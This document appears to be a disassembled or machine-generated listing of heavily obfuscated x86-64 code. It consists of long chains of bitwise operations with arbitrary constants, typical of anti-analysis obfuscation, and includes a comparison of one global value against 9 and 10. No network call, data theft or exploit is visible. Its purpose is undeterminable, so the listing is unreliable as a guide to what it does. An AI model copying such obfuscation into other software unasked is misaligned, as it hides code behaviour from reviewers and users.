xor edi, 0x4801c040
xor eax, 0x37fc3a37
mov ebx, r9d
not ebx
mov edx, eax
xor edx, r9d
and edx, eax
and edi, 0x7c01f853
and eax, 0x83fe07ac
or eax, edi
and r9d, 0x7c01f853
and ebx, 0x83fe07ac
or ebx, r9d
xor ebx, eax
mov r12d, edx
not r12d
mov edi, ebx
not edi
mov eax, r12d
and eax, 0x20e687ce
and edx, 0xdf197831
or edx, eax
or r12d, edi
and edi, 0x20e687ce
and ebx, 0xdf197831
or ebx, edi
xor ebx, edx
not r12d
or r12d, ebx
mov r15d, ecx
not r15d
mov eax, r15d
and eax, 0xe32d35f
mov edi, ecx
and edi, 0xf1cd2ca0
or edi, eax
mov eax, edi
not eax
and eax, 0xf1cd2ca0
and edi, 0xe32d35f
or edi, eax
mov r11d, r12d
not r11d
mov eax, r12d
and eax, 0xc3e4e0d0
mov edx, r11d
and edx, 0x4ee8cbe0
and r12d, 0xb117341f
or r12d, edx
xor r12d, 0x474dd2a2
or r12d, r11d
and r11d, 0x3c1b1f2f
or r11d, eax
mov r8d, r11d
xor r8d, 0xc3e4e0d0
mov r10d, edi
not r10d
mov eax, r10d
and eax, 0xb1cb7e42
mov edx, edi
and edx, 0x4e3481bd
or edx, eax
xor edx, 0x479198ff
or edx, r10d
mov eax, edx
not eax
mov ebx, r15d
and ebx, 0xf65ae6bd
and ecx, 0x9a51942
or ecx, ebx
xor r15d, ecx
and r15d, ecx
mov r9d, r11d
xor r9d, 0x3c1b1f2f
mov esi, r9d
and esi, 0x9a51942
mov ecx, r8d
and ecx, 0xf65ae6bd
or ecx, esi
not ecx
or ecx, r9d
mov r14d, ecx
not r14d
mov ebx, r15d
not ebx
mov esi, eax
xor esi, ebx
and esi, eax
and edx, 0x86ccfc0
and eax, 0xf793303f
or eax, edx
mov r13d, r12d
not r13d
and ebx, 0x86ccfc0
and r15d, 0xf793303f
or r15d, ebx
xor r15d, eax
mov eax, esi
and eax, r15d
xor r15d, esi
or r15d, eax
mov eax, ecx
and eax, 0xab9d24f0
xor ecx, 0xebf7e465
and ecx, r14d
mov esi, r14d
and esi, 0x5462db0f
or esi, eax
mov r14d, esi
xor r14d, 0x5462db0f
mov eax, esi
xor eax, 0xbf953f6a
and eax, r14d
mov edx, eax
and edx, ecx
xor ecx, eax
mov ebx, r12d
xor ebx, 0xebf7e465
or ecx, edx
mov eax, ebx
and eax, r12d
and ebx, r13d
mov edx, eax
and edx, ebx
xor ebx, eax
or ebx, edx
mov eax, ecx
not eax
and eax, ebx
not ebx
and ebx, ecx
or ebx, eax
xor esi, 0xab9d24f0
mov eax, esi
and eax, 0x8288b94a
and r14d, 0x7d7746b5
or r14d, eax
or esi, r13d
and r13d, 0x8288b94a
and r12d, 0x7d7746b5
or r12d, r13d
xor r11d, 0x19a7572f
and r11d, r8d
xor r12d, r14d
not esi
or esi, r12d
mov eax, esi
not eax
and eax, 0xece8af00
and esi, 0x131750ff
or esi, eax
xor esi, 0x131750ff
mov eax, ebx
and eax, esi
xor esi, ebx
or esi, eax
mov eax, r15d
not eax
and eax, 0x62ae5fb6
mov ecx, r15d
and ecx, 0x9d51a049
or ecx, eax
xor ecx, esi
xor ecx, 0x62ae5fb6
and ecx, esi
mov eax, esi
not eax
and eax, 0x15ba00a4
and esi, 0xea45ff5b
or esi, eax
xor esi, r15d
xor esi, 0x15ba00a4
and esi, r15d
mov r14d, ecx
not r14d
mov eax, esi
not eax
mov edx, r14d
and edx, 0x70e585ad
and ecx, 0x8f1a7a52
or ecx, edx
or r14d, eax
and eax, 0x70e585ad
and esi, 0x8f1a7a52
or esi, eax
xor esi, ecx
not r14d
or r14d, esi
mov eax, r10d
and eax, 0xe8d4c316
and edi, 0x172b3ce9
or edi, eax
mov r15d, edi
and r9d, 0x96652308
and r8d, 0x699adcf7
or r8d, r9d
mov ecx, r8d
xor ecx, 0x699adcf7
xor edi, 0xe8d4c316
mov eax, edi
or eax, 0x25bc4800
mov ebx, eax
not ebx
or r10d, 0xda43b7ff
mov esi, r10d
not esi
and eax, 0xaf96dda1
and ebx, 0x5041225e
or ebx, eax
mov eax, r8d
xor eax, 0x4c2694f7
and eax, ecx
and r10d, 0xaf96dda1
and esi, 0x280000
or esi, r10d
xor esi, ebx
mov ebx, eax
not ebx
mov edx, ebx
and edx, 0x4a3226a8
and eax, 0xb5cdd957
or eax, edx
mov edx, r11d
not edx
or ebx, edx
and edx, 0x4a3226a8
and r11d, 0xb5cdd957
or r11d, edx
xor r11d, eax
mov r9d, dword [0x1400a6664]
xor r15d, 0x130a0cc1
not ebx
or ebx, r11d
mov eax, esi
not eax
and eax, 0xc99f9169
and esi, 0x36606e96
or esi, eax
mov eax, ebx
not eax
and eax, 0xc99f9169
and ebx, 0x36606e96
or ebx, eax
xor ebx, esi
xor r8d, 0x96652308
mov eax, edi
and eax, 0x4cf5f23a
and r15d, 0xb30a0dc5
or r15d, eax
or edi, r8d
and r8d, 0x4cf5f23a
and ecx, 0xb30a0dc5
or ecx, r8d
xor ecx, r15d
not edi
or edi, ecx
mov eax, edi
not eax
and eax, 0x61adc6d8
and edi, 0x9e523927
or edi, eax
xor edi, 0x9e523927
mov eax, ebx
and eax, edi
xor edi, ebx
or edi, eax
mov eax, edi
not eax
mov ecx, eax
and ecx, edi
mov edx, ecx
not edx
mov ebx, edi
and ebx, 0xbb7f3ced
and eax, 0x4480c312
or eax, ebx
or edi, edx
and edx, 0xbb7f3ced
and ecx, 0x4480c312
or ecx, edx
xor ecx, eax
not edi
or edi, ecx
mov eax, edi
not eax
and eax, 0x39df627e
and edi, 0xc6209d81
or edi, eax
mov eax, edi
xor eax, 0x86208c01
xor edi, 0x19196234
and edi, 0x591973b4
and eax, 0xa6e68c4b
or eax, edi
mov edi, eax
xor edi, 0x19014024
xor eax, 0x86428c48
and eax, 0xc65abfd8
and edi, 0x39a54027
or edi, eax
mov eax, r14d
mov ebx, r14d
xor ebx, 0x98f35906
and ebx, r14d
not r14d
and r14d, 0xe3678688
and eax, 0x1c987977
or eax, r14d
mov r8d, eax
xor r8d, 0x1c987977
mov ecx, edi
xor ecx, 0xc65abfd8
xor eax, 0x7b94df8e
and eax, r8d
xor edi, 0xa1561921
and edi, ecx
mov r10d, ecx
or r10d, 0x98f35906
mov r11d, eax
not r11d
mov esi, r11d
and esi, 0xdd816c09
and eax, 0x227e93f6
or eax, esi
mov esi, ebx
not esi
or r11d, esi
and esi, 0xdd816c09
and ebx, 0x227e93f6
or ebx, esi
mov esi, r10d
not esi
xor ebx, eax
not r11d
or r11d, ebx
mov eax, edi
not eax
mov ebx, eax
and ebx, 0x4202edd4
and edi, 0xbdfd122b
or edi, ebx
or eax, r10d
and r10d, 0x4202edd4
and esi, 0x250c0229
or esi, r10d
xor esi, edi
not eax
or eax, esi
mov edx, r11d
not edx
and edx, eax
not eax
and eax, r11d
or eax, edx
mov edx, r8d
and edx, ecx
xor ecx, r8d
or ecx, edx
mov edx, ecx
not edx
and edx, 0xacaa8c82
and ecx, 0x5355737d
or ecx, edx
xor ecx, 0x5355737d
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov esi, ecx
not esi
mov eax, esi
or eax, 0x8ad1bdfd
mov edx, eax
not edx
mov edi, ecx
or edi, 0x30064200
and edi, 0x30d75f9d
mov ebx, esi
and ebx, 0x8a00a060
or ebx, edi
and eax, 0x30d75f9d
and edx, 0x45280002
or edx, eax
xor edx, ebx
mov eax, edx
not eax
and eax, 0x752e4202
and edx, 0x8ad1bdfd
or edx, eax
mov eax, edx
not eax
and eax, 0xebf82d3d
and edx, 0x1407d2c2
or edx, eax
mov eax, edx
xor eax, 0x4061242
xor edx, 0x40200d19
and edx, 0x5021cd99
and eax, 0xafde3266
or eax, edx
mov edi, eax
xor edi, 0xafde3266
xor eax, 0x5021cd99
and esi, 0x58f9f0c3
and ecx, 0xa7060f3c
or ecx, esi
mov ebx, ecx
xor ebx, 0xa7060f3c
xor ecx, 0x58f9f0c3
or ecx, ebx
mov ebx, ecx
not ebx
and ebx, eax
mov edx, edi
xor edx, ecx
and edx, edi
and ecx, edi
or ecx, ebx
mov eax, edx
not eax
mov ebx, ecx
not ebx
mov edi, eax
and edi, 0xd826cd9d
and edx, 0x27d93262
or edx, edi
or eax, ebx
and ebx, 0xd826cd9d
and ecx, 0x27d93262
or ecx, ebx
xor ecx, edx
not eax
or eax, ecx
mov edx, eax
not edx
mov ecx, edx
and ecx, 0x42112
mov ebx, eax
and ebx, 0x204b0a20
or ebx, ecx
xor ebx, 0x204b0a20
mov ecx, eax
and ecx, 0xdfb0d4cd
or ecx, ebx
mov ebx, ecx
not ebx
and ebx, 0x204f2b32
and ecx, 0xdfb0d4cd
or ecx, ebx
and edx, 0xe0ed45f6
and eax, 0x1f12ba09
or eax, edx
mov edx, eax
xor edx, 0x18123008
mov ebx, ecx
not ebx
mov edi, ebx
and edi, 0xe7ecce93
and ecx, 0x1813316c
or ecx, edi
xor eax, 0xe0ec4492
and eax, 0xe7ecce93
and edx, 0x1813316c
or edx, eax
xor edx, ecx
xor ebx, edx
test ebx, edx
setne r11b
sete r8b
cmp r9d, 9
setg al
cmp r9d, 0xa
setl cl
xor cl, al
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
mov ebx, ecx
and bl, al
or al, cl
mov edx, ecx
and dl, bl
xor bl, cl
or bl, dl
mov ecx, ebx
xor cl, 1
and cl, al
xor al, 1
mov edx, eax
xor dl, bl
and dl, al
and bl, al
or bl, cl
mov eax, edx
and al, bl
xor bl, dl
or bl, al
mov edx, ebx
xor dl, 1
or dl, bl
mov eax, edx
xor al, bl
or dl, bl
xor dl, 1
mov ecx, edx
and cl, al
xor dl, al
or dl, cl
mov r10d, edx
mov esi, edx
xor r10b, 1
mov ebx, r8d
xor bl, r11b
mov r9d, ebx
xor r9b, 1
or r9b, bl
and bl, r8b
mov eax, ebx
xor al, 1
or al, bl
mov edx, eax
xor dl, 1
mov ebx, eax
and bl, r11b
mov ecx, eax
xor cl, r11b
or cl, bl
or dl, r11b
or al, r8b
mov ebx, edx
xor bl, al
or al, dl
xor al, 1
or al, bl
mov edx, eax
and al, cl
xor cl, 1
xor dl, 1
mov ebx, ecx
xor bl, dl
and bl, cl
and dl, cl
or dl, al
xor bl, 1
xor dl, 1
mov eax, ebx
xor al, dl
or dl, bl
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
and dl, al
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
mov ecx, edx
xor cl, 1
or cl, dl
xor cl, 1
mov eax, edx
and al, cl
xor cl, dl
or cl, al
mov edx, ecx
mov r15d, r10d
mov eax, esi
mov byte [rbp + 0x30], sil
and r15b, sil
xor al, r15b
xor r15b, 1
mov ecx, r15d
and cl, r10b
mov r8d, r10d
mov byte [rbp + 0x2c], r10b
xor r8b, r15b
or cl, r8b
mov ebx, ecx
xor bl, al
xor al, 1
xor bl, 1
or al, cl
xor al, 1
or al, bl
mov ecx, eax
xor cl, 1
or r15b, r10b
xor r15b, 1
or r15b, r8b
mov ebx, r15d
and bl, al
xor r15b, 1
and r15b, cl
or r15b, bl
xor cl, r15b
xor cl, 1
or r15b, al
xor r15b, 1
or r15b, cl
mov esi, r15d
xor sil, 1
mov byte [rbp + 0x3d], dl
mov eax, edx
xor al, 1
mov byte [rbp + 0x28], al
mov r8d, eax
or r8b, dl
mov ecx, edx
xor cl, al
and cl, dl
mov ebx, ecx
xor bl, 1
mov eax, ebx
and al, cl
xor al, 1
mov edi, ecx
xor dil, al
or al, cl
xor al, 1
or al, dil
mov edi, eax
xor al, 1
and al, r8b
xor bl, r8b
xor r8b, 1
and dil, r8b
or al, dil
or cl, r8b
xor cl, 1
or cl, bl
xor cl, 1
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov ebx, ecx
xor bl, 1
mov eax, ebx
and al, cl
mov r8d, eax
and r8b, bl
xor al, bl
or bl, cl
mov edi, ebx
xor dil, 1
mov r14d, edi
and r14b, bl
mov edx, r14d
xor dl, 1
xor r14b, dil
or dl, bl
xor dl, 1
or dl, r14b
or al, r8b
xor al, dl
xor al, 1
mov edx, ebx
and dl, cl
xor bl, cl
or bl, dl
mov ecx, eax
xor cl, bl
or bl, al
xor bl, 1
or bl, cl
mov eax, ebx
xor al, 1
mov ecx, eax
and cl, bl
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
or al, bl
mov edx, ecx
xor dl, al
xor al, 1
xor dl, 1
or al, cl
xor al, 1
or al, dl
xor al, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov ecx, eax
xor cl, 1
and al, cl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, eax
xor cl, 1
and al, cl
xor al, 1
mov edx, eax
xor dl, cl
or al, cl
xor al, 1
or al, dl
mov ecx, r9d
xor cl, 1
mov ebx, ecx
and bl, r9b
mov edx, ecx
and dl, bl
xor bl, cl
or bl, dl
mov r8d, ebx
xor r8b, 1
or cl, r9b
xor cl, 1
mov edx, ebx
and dl, r8b
xor dl, 1
mov r9d, edx
xor r9b, r8b
or dl, r8b
xor dl, 1
or dl, r9b
xor dl, cl
mov r8d, ebx
xor r8b, cl
or cl, bl
xor cl, 1
or cl, r8b
xor cl, 1
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, ecx
xor dl, 1
mov edi, ecx
and dil, dl
xor cl, dil
xor dil, 1
or dil, dl
xor dil, 1
or dil, cl
mov ecx, esi
and cl, r15b
mov r13d, esi
xor r13b, r15b
or r13b, cl
mov r9d, r13d
xor r9b, 1
mov ebx, r15d
xor bl, cl
xor cl, 1
or cl, sil
xor cl, 1
or cl, bl
mov ebx, ecx
xor bl, 1
or sil, r15b
mov edx, esi
xor dl, 1
and dl, bl
and cl, sil
or cl, dl
mov edx, ebx
and dl, sil
xor sil, bl
or sil, dl
xor sil, 1
mov edx, ecx
and dl, sil
xor sil, cl
or sil, dl
mov edx, esi
xor dl, 1
mov ecx, edx
and cl, sil
xor dl, cl
xor cl, 1
or cl, sil
xor cl, 1
or cl, dl
mov r12d, r13d
and r12b, r9b
mov edx, r13d
and dl, r12b
xor r12b, r13b
or r12b, dl
mov r15d, r12d
xor r15b, 1
mov r14d, ecx
xor r14b, 1
mov r8d, r12d
xor r8b, r15b
and r8b, r12b
or r9b, r13b
xor r8b, 1
mov edx, r8d
or dl, r9b
xor dl, 1
xor r8b, r9b
mov ebx, edx
and bl, r8b
xor r8b, dl
or r8b, bl
mov r13d, r14d
and r13b, cl
mov edx, r13d
xor dl, 1
mov ebx, edx
xor bl, cl
mov esi, edx
or sil, cl
xor sil, 1
or sil, bl
mov ebx, r15d
xor r13b, cl
mov r10d, r15d
and r10b, cl
xor r15b, cl
or cl, r14b
mov r9d, esi
and sil, cl
xor cl, 1
xor r9b, 1
and r9b, cl
or sil, r9b
mov r9d, r14d
xor r9b, cl
or cl, r14b
xor cl, 1
or cl, r9b
xor cl, 1
mov r9d, esi
and r9b, cl
xor cl, sil
or cl, r9b
mov esi, ecx
xor sil, r8b
and cl, sil
and sil, r8b
mov r8d, ecx
and r8b, sil
xor sil, cl
mov ecx, eax
xor cl, 1
or sil, r8b
and bl, r12b
xor bl, 1
mov r8d, r12d
xor r8b, bl
or bl, r12b
mov r9d, edi
xor r9b, 1
xor bl, 1
or bl, r8b
or dl, r14b
xor dl, 1
or dl, r13b
xor dl, bl
or r15b, r10b
mov ebx, r15d
xor bl, dl
xor dl, 1
xor bl, 1
or dl, r15b
xor dl, 1
or dl, bl
mov ebx, edx
xor bl, sil
xor sil, 1
or sil, dl
mov edx, esi
xor dl, bl
or sil, bl
xor sil, 1
or sil, dl
mov ebx, edi
or bl, cl
mov r10d, eax
or r10b, r9b
mov r8d, r10d
xor r8b, bl
or r10b, bl
xor r10b, 1
or r10b, r8b
mov ebx, r10d
xor bl, al
xor r10b, bl
xor r10b, 1
and r10b, bl
and cl, al
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov ebx, edi
and bl, cl
xor cl, 1
and cl, r9b
or cl, bl
xor cl, 1
or cl, r9b
mov r8d, ecx
xor r8b, 1
and r9b, dil
xor r9b, 1
mov ebx, edi
xor bl, r9b
or r9b, dil
xor r9b, 1
or r9b, bl
xor r9b, al
xor r9b, 1
or r9b, al
mov eax, r9d
xor al, 1
and al, cl
or cl, r9b
and r9b, r8b
or r9b, al
mov eax, ecx
xor al, r9b
xor r9b, 1
xor al, 1
or r9b, cl
xor r9b, 1
or r9b, al
mov edi, r10d
xor dil, 1
mov ebx, r9d
xor bl, 1
mov eax, r10d
or al, dil
mov r15d, eax
xor r15b, 1
mov edx, r10d
xor dl, dil
and dl, r10b
mov r8d, ebx
or r8b, r9b
mov r14d, r8d
xor r14b, 1
mov ecx, edx
xor cl, 1
and cl, r15b
and al, dl
or al, cl
mov ecx, r15d
xor cl, dl
or dl, r15b
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, al
xor al, 1
xor cl, 1
or al, dl
xor al, 1
or al, cl
mov ecx, ebx
and cl, r9b
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
and r14b, cl
xor cl, 1
and cl, r8b
or cl, r14b
mov edx, r8d
and dl, bl
xor r8b, bl
or r8b, dl
xor cl, 1
mov edx, ecx
xor dl, r8b
or cl, r8b
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
or dl, al
xor al, 1
xor dl, 1
or al, cl
xor al, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
and r10b, dil
xor r10b, 1
mov ecx, edi
xor cl, r10b
or r10b, dil
xor r10b, 1
or r10b, cl
mov ecx, r10d
xor cl, 1
and cl, r9b
and r10b, bl
or r10b, cl
mov ecx, edi
xor cl, bl
or bl, dil
xor bl, 1
or bl, cl
xor bl, 1
mov ecx, r10d
and cl, bl
xor bl, r10b
or bl, cl
mov edx, ebx
xor dl, 1
mov r8d, ebx
and r8b, dl
mov ecx, ebx
and cl, r8b
xor r8b, bl
or r8b, cl
mov ecx, r8d
and cl, al
mov ebx, eax
xor bl, dl
or dl, al
xor al, 1
xor r8b, 1
and r8b, al
or r8b, cl
xor dl, 1
or dl, bl
mov eax, edx
xor al, r8b
xor r8b, 1
xor al, 1
or r8b, dl
xor r8b, 1
or r8b, al
mov eax, esi
xor al, 1
mov r13d, esi
and r13b, al
mov ecx, r13d
xor cl, 1
mov ebx, esi
or bl, al
xor al, r13b
or cl, sil
xor cl, 1
or cl, al
mov eax, ebx
xor al, 1
mov edx, ebx
and dl, al
mov r9d, ebx
and r9b, dl
xor dl, bl
or dl, r9b
xor dl, cl
xor dl, 1
mov ebx, ecx
xor bl, al
or al, cl
xor al, 1
or al, bl
xor al, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov ecx, eax
xor cl, 1
mov edx, ecx
and dl, al
xor cl, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, cl
mov r10d, edx
xor r10b, 1
or r10b, dl
mov eax, esi
and al, r13b
xor r13b, sil
or r13b, al
mov r14d, r13d
mov esi, r8d
xor sil, 1
mov edx, r8d
and dl, sil
mov eax, edx
xor al, 1
mov r12d, r8d
xor r12b, al
or al, r8b
mov r15d, edx
and r15b, r8b
xor dl, r8b
or r8b, sil
xor r8b, sil
mov ecx, r8d
xor cl, 1
and r8b, sil
mov ebx, r8d
and bl, cl
xor r8b, cl
or r8b, bl
mov edi, r8d
xor dil, 1
mov ebx, r8d
xor bl, dil
or dil, r8b
xor dil, 1
or dil, bl
mov ebx, edi
xor bl, 1
and dil, bl
mov r8d, ebx
and r8b, dil
xor dil, bl
mov r9d, r10d
mov ebx, r10d
or r13b, r10b
xor r10b, 1
xor r14b, 1
or dil, r8b
mov r11d, edi
xor r11b, 1
and r9b, r14b
xor bl, r14b
or bl, r9b
mov r8d, ebx
xor r8b, 1
or r14b, r10b
mov r9d, r13d
xor r9b, r14b
or r13b, r14b
xor r13b, 1
or r13b, r9b
mov r10d, r13d
xor r10b, 1
and r13b, bl
or bl, r10b
xor bl, 1
and r10b, r8b
or r10b, r13b
mov r8d, ebx
and r8b, r10b
xor r10b, bl
or r10b, r8b
xor al, 1
or al, r12b
mov r8d, edi
or r8b, r11b
mov r12d, r8d
xor r12b, 1
mov r9d, eax
xor r9b, 1
mov r13d, r9d
or r12b, dil
mov r14d, r9d
xor r9b, dil
mov ebx, edi
mov ecx, edi
and dil, r11b
xor dil, 1
xor bl, dil
or cl, dil
xor cl, 1
or cl, bl
xor cl, r8b
xor r8b, r11b
xor r12b, 1
or r12b, r8b
xor r12b, 1
mov ebx, ecx
and bl, r12b
xor r12b, cl
or r13b, al
or r12b, bl
mov ecx, r13d
xor cl, 1
or dl, r15b
mov ebx, edx
xor dl, 1
and dl, cl
and bl, r13b
or dl, bl
mov ecx, r13d
and cl, sil
xor r13b, sil
or r13b, cl
xor dl, 1
mov ecx, edx
xor cl, r13b
or dl, r13b
xor dl, 1
or dl, cl
xor dl, 1
mov ecx, edx
or cl, r12b
xor dl, r12b
xor dl, 1
and dl, r12b
xor dl, 1
mov ebx, ecx
xor bl, dl
or dl, cl
xor dl, 1
or dl, bl
and r14b, al
mov ecx, r11d
xor cl, dil
or dil, r11b
xor dil, 1
or dil, cl
xor r14b, 1
mov ecx, eax
xor cl, r14b
or r14b, al
xor r14b, 1
or r14b, cl
mov ecx, edi
xor cl, 1
and cl, r14b
xor r14b, 1
and r14b, dil
or r14b, cl
or al, r11b
xor al, 1
or al, r9b
xor al, 1
mov ecx, r14d
and cl, al
xor al, r14b
or al, cl
mov ebx, eax
xor bl, 1
mov r8d, edx
xor r8b, 1
mov ecx, r8d
and cl, dl
mov r9d, eax
and r9b, bl
mov r11d, r8d
and r11b, cl
xor cl, r8b
or cl, r11b
mov r8d, eax
and r8b, r9b
xor r9b, al
or r9b, r8b
mov eax, ecx
xor al, 1
and al, r9b
xor r9b, 1
and r9b, cl
or r9b, al
mov eax, edx
xor al, bl
or bl, dl
xor bl, 1
or bl, al
mov eax, ebx
xor al, r9b
xor r9b, 1
xor al, 1
or r9b, bl
xor r9b, 1
or r9b, al
mov edx, r10d
xor dl, 1
mov r11d, edx
and r11b, r10b
mov eax, edx
and al, r11b
xor r11b, dl
or r11b, al
mov r8d, r11d
xor r8b, 1
or dl, r10b
mov ebx, edx
xor bl, 1
mov ecx, r8d
and cl, r11b
mov eax, edx
and al, bl
mov r10d, r8d
and r10b, cl
xor cl, r8b
or cl, r10b
mov r10d, edx
and r10b, al
xor al, dl
or al, r10b
xor al, cl
mov esi, r9d
xor sil, 1
xor dl, r8b
or bl, r11b
xor bl, 1
or bl, dl
xor al, 1
mov ecx, eax
xor cl, bl
or al, bl
xor al, 1
or al, cl
and sil, r9b
xor sil, 1
mov ecx, esi
xor cl, r9b
or sil, r9b
xor sil, 1
or sil, cl
xor sil, 1
mov ecx, esi
or cl, al
xor sil, al
xor sil, 1
and sil, al
xor sil, 1
mov eax, ecx
xor al, sil
or sil, cl
xor sil, 1
or sil, al
mov r10b, byte [rbp + 0x3d]
mov eax, r10d
mov bl, byte [rbp + 0x30]
xor al, bl
mov edx, eax
mov cl, byte [rbp + 0x2c]
and dl, cl
mov r8d, eax
xor r8b, cl
mov r9d, ecx
or r8b, dl
mov edi, r8d
xor dil, 1
mov dl, byte [rbp + 0x28]
and bl, dl
mov ecx, r10d
and cl, r9b
or cl, bl
xor cl, 1
or cl, dl
xor cl, 1
xor al, 1
or al, r9b
xor al, cl
and cl, al
xor al, 1
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov r9d, eax
xor r9b, 1
mov ecx, r8d
xor cl, dil
and cl, r8b
mov edx, eax
or dl, r9b
xor dl, r9b
mov r10d, ecx
xor r10b, 1
mov ebx, ecx
or bl, r10b
xor cl, bl
xor cl, 1
or bl, r10b
xor bl, 1
or bl, cl
mov ecx, edx
and cl, r9b
xor cl, 1
mov r10d, ecx
xor r10b, dl
or cl, dl
xor cl, 1
or cl, r10b
mov edx, ecx
xor dl, 1
or dl, bl
xor bl, 1
or bl, cl
mov ecx, ebx
xor cl, dl
or bl, dl
xor bl, 1
or bl, cl
mov ecx, eax
and cl, r8b
xor al, dil
and dil, r9b
or dil, cl
or r9b, r8b
xor r9b, 1
or r9b, al
mov eax, r9d
xor al, dil
xor dil, 1
xor al, 1
or dil, r9b
xor dil, 1
or dil, al
mov eax, ebx
xor al, 1
mov edx, ebx
and dl, al
xor al, dil
xor dil, 1
mov ecx, edx
and cl, bl
xor dl, bl
or dl, cl
xor dl, dil
or dil, bl
xor dil, 1
or dil, al
mov eax, edi
xor al, dl
xor dl, 1
xor al, 1
or dl, dil
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
mov ebx, eax
and bl, dl
mov ecx, edx
xor cl, al
xor al, bl
xor bl, 1
or bl, dl
xor bl, 1
or bl, al
mov r8d, ebx
xor r8b, 1
mov r9d, r8d
or r9b, bl
and cl, dl
mov eax, ecx
xor al, 1
mov edx, eax
and dl, cl
mov r10d, eax
xor r10b, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, r10b
mov r10d, edx
xor dl, 1
and dl, r9b
xor al, r9b
xor r9b, 1
and r10b, r9b
or dl, r10b
or cl, r9b
xor cl, 1
or cl, al
mov eax, ecx
xor al, dl
xor dl, 1
xor al, 1
or dl, cl
xor dl, 1
or dl, al
mov r9d, edx
xor r9b, 1
or r9b, dl
mov r10d, r9d
xor r10b, 1
mov r14d, r8d
xor r14b, bl
and bl, r8b
xor bl, 1
mov ecx, r8d
xor cl, bl
or bl, r8b
xor bl, 1
or bl, cl
mov ecx, r9d
or cl, r10b
mov r11d, r10d
and r11b, cl
xor cl, 1
mov r15d, ebx
xor r15b, 1
mov edi, ebx
or dil, r15b
and r14b, r8b
mov eax, ecx
xor al, r9b
and al, cl
and cl, r9b
or cl, r11b
mov r8d, eax
and r8b, cl
xor cl, al
or cl, r8b
xor r14b, 1
mov eax, edi
and al, r14b
xor r14b, dil
or al, r14b
xor al, 1
mov r8d, r14d
and r8b, al
xor al, r14b
or al, r8b
mov edx, eax
xor dl, 1
or dl, cl
xor cl, 1
xor dl, 1
or cl, al
xor cl, 1
mov eax, edx
and al, cl
xor cl, dl
or cl, al
and bl, r10b
or r10b, r15b
xor r10b, 1
and r15b, r9b
or r15b, bl
mov eax, r10d
and al, r15b
xor r15b, r10b
or r15b, al
mov eax, r15d
xor al, 1
and al, r15b
xor al, 1
mov edx, r15d
xor dl, al
or al, r15b
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
xor al, cl
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, al
xor al, 1
xor dl, 1
or al, cl
xor al, 1
or al, dl
mov ebx, eax
xor bl, 1
mov ecx, eax
or cl, bl
mov r8d, ecx
xor r8b, 1
mov edx, ebx
xor dl, cl
and dl, bl
and r8b, al
and cl, bl
or cl, r8b
xor dl, 1
xor cl, 1
mov eax, edx
xor al, cl
or cl, dl
xor cl, 1
or cl, al
mov r8d, ecx
xor r8b, 1
mov r9d, ecx
mov r10d, ecx
xor r10b, r8b
and r10b, cl
mov edx, ecx
and dl, r8b
mov ecx, r8d
xor cl, dl
xor dl, 1
or r9b, dl
xor r9b, 1
or r9b, cl
mov eax, r9d
xor al, 1
and al, r9b
mov ebx, eax
xor bl, 1
mov ecx, r10d
xor cl, 1
and r10b, bl
or bl, cl
xor bl, 1
and cl, al
or cl, r10b
mov eax, ebx
and al, cl
xor cl, bl
or cl, al
xor cl, 1
mov eax, r8d
xor al, dl
or dl, r8b
xor dl, 1
or dl, al
xor dl, cl
mov eax, ecx
xor al, r8b
or cl, r8b
xor cl, 1
or cl, al
mov eax, edx
xor al, cl
or cl, dl
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
and al, cl
xor al, 1
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov r11d, esi
xor r11b, 1
mov r10d, r11d
and r10b, sil
xor r10b, 1
mov ecx, esi
xor cl, r10b
or r10b, sil
xor r10b, 1
or r10b, cl
mov r8d, r10d
xor r8b, 1
mov edi, eax
xor dil, 1
mov esi, eax
and sil, dil
mov ecx, edi
and cl, sil
xor sil, dil
or sil, cl
mov r9d, esi
xor r9b, 1
or dil, al
mov eax, r9d
or al, dil
xor al, 1
xor dil, r9b
mov ecx, eax
and cl, dil
xor dil, al
or dil, cl
mov eax, edi
xor al, 1
and dil, al
mov ecx, eax
and cl, dil
xor dil, al
or dil, cl
mov eax, edi
xor al, 1
mov ecx, r8d
xor cl, r10b
mov r12d, r8d
and r12b, r10b
or cl, r12b
and al, dil
mov ebx, edi
and bl, al
xor al, dil
or al, bl
mov r15d, eax
xor r15b, 1
mov r14d, eax
xor r14b, r15b
or r15b, al
xor r15b, 1
or r15b, r14b
mov eax, ecx
and al, r11b
xor cl, r11b
or al, cl
xor al, 1
xor cl, al
mov ebx, ecx
xor bl, 1
and al, bl
mov r11d, eax
xor r11b, 1
xor al, cl
or r11b, bl
mov ebx, esi
xor bl, r9b
and bl, sil
mov ecx, ebx
xor cl, 1
and bl, cl
xor bl, 1
mov esi, ebx
xor sil, cl
or bl, cl
xor bl, 1
or bl, sil
mov ecx, ebx
xor cl, 1
and cl, bl
mov edx, ecx
and dl, bl
xor cl, bl
or cl, dl
mov edx, ecx
xor cl, 1
and cl, r15b
xor r15b, 1
xor r11b, 1
or r11b, al
and dl, r15b
or cl, dl
mov eax, r15d
or al, r9b
xor r15b, r9b
mov edx, eax
xor dl, r15b
xor r15b, 1
xor dl, 1
or r15b, al
xor r15b, 1
or r15b, dl
mov eax, r15d
xor al, 1
mov edx, eax
mov ebx, ecx
or al, cl
xor cl, 1
and dl, cl
and bl, r15b
or bl, dl
xor cl, r15b
xor al, 1
